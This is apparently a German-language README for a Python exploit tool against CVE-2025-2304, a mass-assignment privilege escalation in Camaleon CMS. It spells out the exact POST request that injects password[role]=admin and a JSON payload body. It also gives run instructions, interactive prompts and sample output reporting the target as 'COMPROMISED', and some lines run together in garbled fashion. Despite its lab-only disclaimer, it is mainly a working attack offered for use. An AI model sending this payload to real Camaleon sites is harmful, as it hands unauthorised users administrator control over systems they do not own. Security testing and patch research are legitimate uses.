
Python-Exploit-Skript für CVE-2025-2304, eine Massenzuweisungs-Privilegieneskalation in Camaleon CMS. Automatisiert CSRF-Token-Parsing und Rollenparameter-Injektion, um authentifizierte Benutzer in kontrollierten Laborumgebungen auf Admin zu erhöhen.
CVE-2025-2304 ist eine Mass Assignment-Schwachstelle in Camaleon CMS (Versionen < 2.9.1), die es einem authentifizierten Benutzer ermöglicht, seine Berechtigungen auf Administrator zu erhöhen, indem er den Parameter role in Passwortänderungsanfragen manipuliert.
Camaleon CMS verwendet Ruby on Rails und hat in Version 2.9.0 eine Mass Assignment-Schwachstelle im Controller UsersController#updated_ajax. Der Controller verwendet .permit! ohne Einschränkungen, sodass jeder in der Anfrage gesendete Parameter direkt dem Benutzermodell zugewiesen werden kann.
POST /admin/users/{user_id}/updated_ajaxpassword[role] gesendet innerhalb des Namensraums passwordparams.require(:password) und wendet dann .permit! an, was keine Parameter filtert"admin" in das Feld role des BenutzersPOST /admin/users/3/updated_ajax
Content-Type: application/x-www-form-urlencoded
authenticity_token=[TOKEN]&
password[password]=new_password&
password[password_confirmation]=new_password&
password[role]=admin&
password[id]=3&
_method=patch
Der Parameter password[role] wird von User.update(permitted_params) verarbeitet und aufgrund von .permit! direkt dem Benutzerdatensatz zugewiesen, wodurch die Berechtigungen von user auf admin erhöht werden.
# Python 3.6+
python3 --version
# Erforderliche Bibliotheken
pip install requests
python3 exploit_cve_2025_2304_en.py
python3 exploit_cve_2025_2304.py
Das Skript fragt interaktiv ab:
http(s)://domain:port_cms_session (nach Login erhalten)P@ssw0rd_lab_2025!)python3 exploit_cve_2025_2304_en.py
[?] Base URL of the server (ex: http://localhost:3000) : http://192.168.1.100:8080
[?] User ID of the attacker user (ex: 3) : 5
[?] Session cookie (_cms_session=VALUE) : _cms_session=abc123def456
Als ich diese Schwachstelle fand, war mein erster Impuls, sie manuell über Burp Suite zu testen – und es funktionierte. Aber ich wollte einen Schritt weiter gehen und diesen manuellen Prozess in etwas Wiederholbares und Portables verwandeln, also schrieb ich dieses Skript. Über die reine Ausnutzung des Fehlers hinaus gab mir die Erstellung die Gelegenheit, an einigen Dingen zu arbeiten, die ich wirklich interessant finde:
Ich versuche nicht, Burp oder Caido zu ersetzen. Diese Werkzeuge sind für interaktive Tests unersetzlich. Dies ist nur das, was passiert, wenn ich lieber ein Skript schreibe, als mich zu wiederholen.
THIS SCRIPT IS EXCLUSIVELY FOR:
- Controlled laboratory environments
- Systems you own or have explicit authorization to test
- Educational purposes and authorized research
STRICTLY PROHIBITED:
- Use on systems without authorization
- Application with malicious intent
- Violation of data protection laws
- Compromising third-party security
The author is not responsible for misuse of this tool.
╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-2304 │ Camaleon CMS Mass Assignment ║
║ Privilege Escalation: user → admin ║
║ [LABORATORY / CONTROLLED ENVIRONMENT] ║
╚══════════════════════════════════════════════════════════════╝
[✔] CSRF token obtained: abc123def456...
[✔] EXPLOIT SUCCESSFUL: Server confirmed the update.
[✔] Status : COMPROMISED
User 5 should now have 'admin' role.
{
"authenticity_token": "abcd1234",
"password[password]": "P@ssw0rd_lab_2025!",
"password[password_confirmation]": "P@ssw0rd_lab_2025!",
"password[role]": "admin",
"password[id]": "5",
"_method": "patch"
}
Der Code ist modular strukturiert, um Folgendes zu erleichtern:
.permit!Beiträge sind willkommen, die:
Denken Sie daran: Dieses Projekt dient ausschließlich Bildungs- und autorisierten Forschungszwecken.
Letzte Aktualisierung: April 2025 | Von Sicherheitsanalyst (Laborumgebung)